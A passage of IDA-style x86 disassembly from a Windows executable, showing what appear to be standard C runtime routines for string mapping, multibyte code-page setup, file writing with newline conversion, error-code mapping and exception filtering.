		cmp	[ebp+var_24], edi
		jz	short loc_41C9B7
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_422134	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41C9B7
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221B0	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41C9B7
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41C9CB
		cmp	[ebp+arg_14], edi
		jz	loc_41CA46
		cmp	esi, [ebp+arg_14]
		jg	short loc_41C9B7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221B0	; LCMapStringW
		test	eax, eax
		jnz	loc_41CA46


loc_41C9B7:				; CODE XREF: sub_41C829+66j
					; sub_41C829+B5j ...
		xor	eax, eax


loc_41C9B9:				; CODE XREF: sub_41C829+ADj
					; sub_41C829+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C9CB:				; CODE XREF: sub_41C829+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41C9FF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41C9FF:				; CODE XREF: sub_41C829+1C2j
		cmp	ebx, edi
		jz	short loc_41C9B7
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4221B0	; LCMapStringW
		test	eax, eax
		jz	short loc_41C9B7
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41CA26
		push	edi
		push	edi
		jmp	short loc_41CA2C
; ---------------------------------------------------------------------------


loc_41CA26:				; CODE XREF: sub_41C829+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41CA2C:				; CODE XREF: sub_41C829+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_422130	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41C9B7


loc_41CA46:				; CODE XREF: sub_41C829+165j
					; sub_41C829+188j
		mov	eax, esi
		jmp	loc_41C9B9
sub_41C829	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA4D	proc near		; CODE XREF: sub_41CE11+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41CBE6	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_4CA4C4
		mov	[ebp+arg_0], esi
		jz	loc_41CBDA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41CBD0
		xor	edx, edx
		mov	eax, offset dword_431700


loc_41CA81:				; CODE XREF: sub_41CA4D+41j
		cmp	[eax], esi
		jz	short loc_41CAF7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4317F0
		jl	short loc_41CA81
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_4221B4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CBC8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CA5E0
		cmp	[ebp+var_18], 1
		mov	ds:dword_4CA4C4, esi
		rep stosd
		stosb
		mov	ds:dword_4CA6E4, ebx
		jbe	loc_41CBB6
		cmp	[ebp+var_12], 0
		jz	loc_41CB8C
		lea	ecx, [ebp+var_11]


loc_41CAD4:				; CODE XREF: sub_41CA4D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41CB8C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41CAE5:				; CODE XREF: sub_41CA4D+A8j
		cmp	eax, edx
		ja	loc_41CB80
		or	ds:byte_4CA5E1[eax], 4
		inc	eax
		jmp	short loc_41CAE5
; ---------------------------------------------------------------------------


loc_41CAF7:				; CODE XREF: sub_41CA4D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CA5E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_431710[esi]


loc_41CB13:				; CODE XREF: sub_41CA4D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41CB46


loc_41CB1A:				; CODE XREF: sub_41CA4D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41CB46
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41CB3F
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_4316F8[edx]


loc_41CB34:				; CODE XREF: sub_41CA4D+F0j
		or	ds:byte_4CA5E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41CB34


loc_41CB3F:				; CODE XREF: sub_41CA4D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41CB1A


loc_41CB46:				; CODE XREF: sub_41CA4D+CBj
					; sub_41CA4D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41CB13
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4CA4DC, 1
		push	eax
		mov	ds:dword_4CA4C4, eax
		call	sub_41CC30
		lea	esi, dword_431704[esi]
		mov	edi, offset dword_4CA4D0
		movsd
		movsd
		pop	ecx
		mov	ds:dword_4CA6E4, eax
		movsd
		jmp	short loc_41CBD5
; ---------------------------------------------------------------------------


loc_41CB80:				; CODE XREF: sub_41CA4D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41CAD4


loc_41CB8C:				; CODE XREF: sub_41CA4D+7Ej
					; sub_41CA4D+8Bj
		push	1
		pop	eax


loc_41CB8F:				; CODE XREF: sub_41CA4D+14Fj
		or	ds:byte_4CA5E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41CB8F
		push	esi
		call	sub_41CC30
		pop	ecx
		mov	ds:dword_4CA6E4, eax
		mov	ds:dword_4CA4DC, 1
		jmp	short loc_41CBBC
; ---------------------------------------------------------------------------


loc_41CBB6:				; CODE XREF: sub_41CA4D+74j
		mov	ds:dword_4CA4DC, ebx


loc_41CBBC:				; CODE XREF: sub_41CA4D+167j
		xor	eax, eax
		mov	edi, offset dword_4CA4D0
		stosd
		stosd
		stosd
		jmp	short loc_41CBD5
; ---------------------------------------------------------------------------


loc_41CBC8:				; CODE XREF: sub_41CA4D+51j
		cmp	ds:dword_4C9134, ebx
		jz	short loc_41CBDE


loc_41CBD0:				; CODE XREF: sub_41CA4D+27j
		call	sub_41CC63


loc_41CBD5:				; CODE XREF: sub_41CA4D+131j
					; sub_41CA4D+179j
		call	sub_41CC8C


loc_41CBDA:				; CODE XREF: sub_41CA4D+1Dj
		xor	eax, eax
		jmp	short loc_41CBE1
; ---------------------------------------------------------------------------


loc_41CBDE:				; CODE XREF: sub_41CA4D+181j
		or	eax, 0FFFFFFFFh


loc_41CBE1:				; CODE XREF: sub_41CA4D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CA4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBE6	proc near		; CODE XREF: sub_41CA4D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_4C9134, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41CC06
		mov	ds:dword_4C9134, 1
		jmp	ds:dword_4221BC
; ---------------------------------------------------------------------------


loc_41CC06:				; CODE XREF: sub_41CBE6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41CC1B
		mov	ds:dword_4C9134, 1
		jmp	ds:dword_4221B8
; ---------------------------------------------------------------------------


loc_41CC1B:				; CODE XREF: sub_41CBE6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41CC2F
		mov	eax, ds:dword_4C912C
		mov	ds:dword_4C9134, 1

locret_41CC2F:				; CODE XREF: sub_41CBE6+38j
		retn
sub_41CBE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC30	proc near		; CODE XREF: sub_41CA4D+118p
					; sub_41CA4D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41CC5D
		sub	eax, 4
		jz	short loc_41CC57
		sub	eax, 0Dh
		jz	short loc_41CC51
		dec	eax
		jz	short loc_41CC4B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CC4B:				; CODE XREF: sub_41CC30+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41CC51:				; CODE XREF: sub_41CC30+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41CC57:				; CODE XREF: sub_41CC30+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41CC5D:				; CODE XREF: sub_41CC30+9j
		mov	eax, 411h
		retn
sub_41CC30	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC63	proc near		; CODE XREF: sub_41CA4D:loc_41CBD0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4CA5E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4CA4D0
		mov	ds:dword_4CA4C4, eax
		mov	ds:dword_4CA4DC, eax
		mov	ds:dword_4CA6E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41CC63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC8C	proc near		; CODE XREF: sub_41CA4D:loc_41CBD5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_4CA4C4
		call	ds:dword_4221B4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CDC5
		xor	eax, eax
		mov	esi, 100h


loc_41CCB6:				; CODE XREF: sub_41CC8C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41CCB6
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41CD07
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41CCD5:				; CODE XREF: sub_41CC8C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41CCFC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41CCFC:				; CODE XREF: sub_41CC8C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41CCD5
		pop	edi
		pop	ebx


loc_41CD07:				; CODE XREF: sub_41CC8C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_4CA6E4
		push	ds:dword_4CA4C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41DC83
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_4CA4C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_4CA6E4
		call	sub_41C829
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_4CA4C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_4CA6E4
		call	sub_41C829
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41CD82:				; CODE XREF: sub_41CC8C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41CDA0
		or	ds:byte_4CA5E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41CD98:				; CODE XREF: sub_41CC8C+127j
		mov	ds:byte_4CA4E0[eax], dl
		jmp	short loc_41CDBC
; ---------------------------------------------------------------------------


loc_41CDA0:				; CODE XREF: sub_41CC8C+FCj
		test	dl, 2
		jz	short loc_41CDB5
		or	ds:byte_4CA5E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41CD98
; ---------------------------------------------------------------------------


loc_41CDB5:				; CODE XREF: sub_41CC8C+117j
		and	ds:byte_4CA4E0[eax], 0


loc_41CDBC:				; CODE XREF: sub_41CC8C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41CD82
		jmp	short loc_41CE0E
; ---------------------------------------------------------------------------


loc_41CDC5:				; CODE XREF: sub_41CC8C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41CDCC:				; CODE XREF: sub_41CC8C+180j
		cmp	eax, 41h
		jb	short loc_41CDEA
		cmp	eax, 5Ah
		ja	short loc_41CDEA
		or	ds:byte_4CA5E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41CDE2:				; CODE XREF: sub_41CC8C+174j
		mov	ds:byte_4CA4E0[eax], cl
		jmp	short loc_41CE09
; ---------------------------------------------------------------------------


loc_41CDEA:				; CODE XREF: sub_41CC8C+143j
					; sub_41CC8C+148j
		cmp	eax, 61h
		jb	short loc_41CE02
		cmp	eax, 7Ah
		ja	short loc_41CE02
		or	ds:byte_4CA5E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41CDE2
; ---------------------------------------------------------------------------


loc_41CE02:				; CODE XREF: sub_41CC8C+161j
					; sub_41CC8C+166j
		and	ds:byte_4CA4E0[eax], 0


loc_41CE09:				; CODE XREF: sub_41CC8C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41CDCC


loc_41CE0E:				; CODE XREF: sub_41CC8C+137j
		pop	esi
		leave
		retn
sub_41CC8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE11	proc near		; CODE XREF: sub_41D24F+9p
					; sub_41D2A7+Dp ...
		cmp	ds:dword_4CA714, 0
		jnz	short locret_41CE2C
		push	0FFFFFFFDh
		call	sub_41CA4D
		pop	ecx
		mov	ds:dword_4CA714, 1

locret_41CE2C:				; CODE XREF: sub_41CE11+7j
		retn
sub_41CE11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE2D	proc near		; CODE XREF: sub_4173D8+2Bp
					; sub_4173D8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4CA4DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41CE51
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D30
		add	esp, 0Ch
		jmp	short loc_41CEB4
; ---------------------------------------------------------------------------


loc_41CE51:				; CODE XREF: sub_41CE2D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41CE96
		mov	ecx, [ebp+arg_4]


loc_41CE5C:				; CODE XREF: sub_41CE2D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_4CA5E1[esi], 4
		mov	[edi], al
		jz	short loc_41CE80
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41CE8C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CE92
		jmp	short loc_41CE86
; ---------------------------------------------------------------------------


loc_41CE80:				; CODE XREF: sub_41CE2D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CE96


loc_41CE86:				; CODE XREF: sub_41CE2D+51j
		test	edx, edx
		jnz	short loc_41CE5C
		jmp	short loc_41CE96
; ---------------------------------------------------------------------------


loc_41CE8C:				; CODE XREF: sub_41CE2D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41CE96
; ---------------------------------------------------------------------------


loc_41CE92:				; CODE XREF: sub_41CE2D+4Fj
		and	byte ptr [edi-2], 0


loc_41CE96:				; CODE XREF: sub_41CE2D+2Aj
					; sub_41CE2D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41CEB1
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41CEB1:				; CODE XREF: sub_41CE2D+6Fj
		mov	eax, [ebp+arg_0]


loc_41CEB4:				; CODE XREF: sub_41CE2D+22j
		pop	edi
		pop	ebp
		retn
sub_41CE2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEB7	proc near		; CODE XREF: sub_41780F+A2p
					; sub_417E43+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_4CA4C0
		push	esi
		push	edi
		jnb	loc_41D04B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CA3C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41D04B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41CF08


loc_41CF01:				; CODE XREF: sub_41CEB7+177j
		xor	eax, eax
		jmp	loc_41D05F
; ---------------------------------------------------------------------------


loc_41CF08:				; CODE XREF: sub_41CEB7+48j
		test	al, 20h
		jz	short loc_41CF18
		push	2
		push	edi
		push	ecx
		call	sub_41C637
		add	esp, 0Ch


loc_41CF18:				; CODE XREF: sub_41CEB7+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41CFE7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41D01F


loc_41CF38:				; CODE XREF: sub_41CEB7+F5j
		lea	eax, [ebp+var_414]


loc_41CF3E:				; CODE XREF: sub_41CEB7+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41CF72
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41CF5D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41CF5D:				; CODE XREF: sub_41CEB7+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41CF3E


loc_41CF72:				; CODE XREF: sub_41CEB7+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_4220B0	; WriteFile
		test	eax, eax
		jz	short loc_41CFDC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41CFAE
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41CF38


loc_41CFAE:				; CODE XREF: sub_41CEB7+EAj
					; sub_41CEB7+12Ej
		xor	edi, edi


loc_41CFB0:				; CODE XREF: sub_41CEB7+150j
					; sub_41CEB7+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41D046
		cmp	[ebp+arg_0], edi
		jz	short loc_41D01F
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41D014
		mov	ds:dword_4C9084, 9
		mov	ds:dword_4C9088, eax
		jmp	loc_41D05C
; ---------------------------------------------------------------------------


loc_41CFDC:				; CODE XREF: sub_41CEB7+E0j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41CFAE
; ---------------------------------------------------------------------------


loc_41CFE7:				; CODE XREF: sub_41CEB7+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_4220B0	; WriteFile
		test	eax, eax
		jz	short loc_41D009
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41CFB0
; ---------------------------------------------------------------------------


loc_41D009:				; CODE XREF: sub_41CEB7+145j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41CFB0
; ---------------------------------------------------------------------------


loc_41D014:				; CODE XREF: sub_41CEB7+10Fj
		push	[ebp+arg_0]
		call	sub_41D064
		pop	ecx
		jmp	short loc_41D05C
; ---------------------------------------------------------------------------


loc_41D01F:				; CODE XREF: sub_41CEB7+7Bj
					; sub_41CEB7+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41D034
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41CF01


loc_41D034:				; CODE XREF: sub_41CEB7+16Fj
		mov	ds:dword_4C9084, 1Ch
		mov	ds:dword_4C9088, edi
		jmp	short loc_41D05C
; ---------------------------------------------------------------------------


loc_41D046:				; CODE XREF: sub_41CEB7+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41D05F
; ---------------------------------------------------------------------------


loc_41D04B:				; CODE XREF: sub_41CEB7+15j
					; sub_41CEB7+37j
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9


loc_41D05C:				; CODE XREF: sub_41CEB7+120j
					; sub_41CEB7+166j ...
		or	eax, 0FFFFFFFFh


loc_41D05F:				; CODE XREF: sub_41CEB7+4Cj
					; sub_41CEB7+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CEB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D064	proc near		; CODE XREF: sub_417919+16p
					; sub_417CDA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_4C9088, ecx
		mov	eax, offset dword_4317F0


loc_41D075:				; CODE XREF: sub_41D064+1Ej
		cmp	ecx, [eax]
		jz	short loc_41D099
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_431958
		jl	short loc_41D075
		cmp	ecx, 13h
		jb	short loc_41D0A6
		cmp	ecx, 24h
		ja	short loc_41D0A6
		mov	ds:dword_4C9084, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41D099:				; CODE XREF: sub_41D064+13j
		mov	eax, ds:dword_4317F4[edx*8]
		mov	ds:dword_4C9084, eax
		retn
; ---------------------------------------------------------------------------


loc_41D0A6:				; CODE XREF: sub_41D064+23j
					; sub_41D064+28j
		cmp	ecx, 0BCh
		jb	short loc_41D0C0
		cmp	ecx, 0CAh
		mov	ds:dword_4C9084, 8
		jbe	short locret_41D0CA


loc_41D0C0:				; CODE XREF: sub_41D064+48j
		mov	ds:dword_4C9084, 16h

locret_41D0CA:				; CODE XREF: sub_41D064+5Aj
		retn
sub_41D064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D0CB	proc near		; CODE XREF: _0:00417DE7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D20C
		test	eax, eax
		pop	ecx
		jz	loc_41D200
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41D200
		cmp	ebx, 5
		jnz	short loc_41D0FC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41D209
; ---------------------------------------------------------------------------


loc_41D0FC:				; CODE XREF: sub_41D0CB+23j
		cmp	ebx, 1
		jz	loc_41D1FB
		mov	ecx, ds:dword_4C9138
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_4C9138, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41D1EB
		mov	ecx, ds:dword_4319D0
		mov	edx, ds:dword_4319D4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41D14B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:431960h[esi*4]


loc_41D142:				; CODE XREF: sub_41D0CB+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41D142


loc_41D14B:				; CODE XREF: sub_41D0CB+69j
		mov	eax, [eax]
		mov	esi, ds:dword_4319DC
		cmp	eax, 0C000008Eh
		jnz	short loc_41D166
		mov	ds:dword_4319DC, 83h
		jmp	short loc_41D1D6
; ---------------------------------------------------------------------------


loc_41D166:				; CODE XREF: sub_41D0CB+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41D179
		mov	ds:dword_4319DC, 81h
		jmp	short loc_41D1D6
; ---------------------------------------------------------------------------


loc_41D179:				; CODE XREF: sub_41D0CB+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41D18C
		mov	ds:dword_4319DC, 84h
		jmp	short loc_41D1D6
; ---------------------------------------------------------------------------


loc_41D18C:				; CODE XREF: sub_41D0CB+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41D19F
		mov	ds:dword_4319DC, 85h
		jmp	short loc_41D1D6
; ---------------------------------------------------------------------------


loc_41D19F:				; CODE XREF: sub_41D0CB+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41D1B2
		mov	ds:dword_4319DC, 82h
		jmp	short loc_41D1D6
; ---------------------------------------------------------------------------


loc_41D1B2:				; CODE XREF: sub_41D0CB+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41D1C5
		mov	ds:dword_4319DC, 86h
		jmp	short loc_41D1D6
; ---------------------------------------------------------------------------


loc_41D1C5:				; CODE XREF: sub_41D0CB+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41D1D6
		mov	ds:dword_4319DC, 8Ah


loc_41D1D6:				; CODE XREF: sub_41D0CB+99j
					; sub_41D0CB+ACj ...
		push	ds:dword_4319DC
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_4319DC, esi
		pop	ecx
		pop	esi
		jmp	short loc_41D1F3
; ---------------------------------------------------------------------------


loc_41D1EB:				; CODE XREF: sub_41D0CB+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41D1F3:				; CODE XREF: sub_41D0CB+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4C9138, eax


loc_41D1FB:				; CODE XREF: sub_41D0CB+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D209
; ---------------------------------------------------------------------------


loc_41D200:				; CODE XREF: sub_41D0CB+Fj
					; sub_41D0CB+1Aj
		push	[ebp+arg_4]
		call	ds:dword_4221C0	; UnhandledExceptionFilter


loc_41D209:				; CODE XREF: sub_41D0CB+2Cj
					; sub_41D0CB+133j
		pop	ebx
		pop	ebp
		retn
sub_41D0CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D20C	proc near		; CODE XREF: sub_41D0CB+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_4319D8
		cmp	ds:dword_431958, edx
		push	esi
		mov	eax, offset dword_431958
		jz	short loc_41D239
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:431958h[esi*4]


loc_41D22E:				; CODE XREF: sub_41D20C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D239
		cmp	[eax], edx
		jnz	short loc_41D22E


loc_41D239:				; CODE XREF: sub_41D20C+16j
					; sub_41D20C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:431958h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D24C
		cmp	[eax], edx
		jz	short locret_41D24E


loc_41D24C:				; CODE XREF: sub_41D20C+3Aj
		xor	eax, eax

locret_41D24E:				; CODE XREF: sub_41D20C+3Ej
		retn
sub_41D20C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D24F	proc near		; CODE XREF: _0:00417DA9p
		cmp	ds:dword_4CA714, 0
		jnz	short loc_41D25D
		call	sub_41CE11
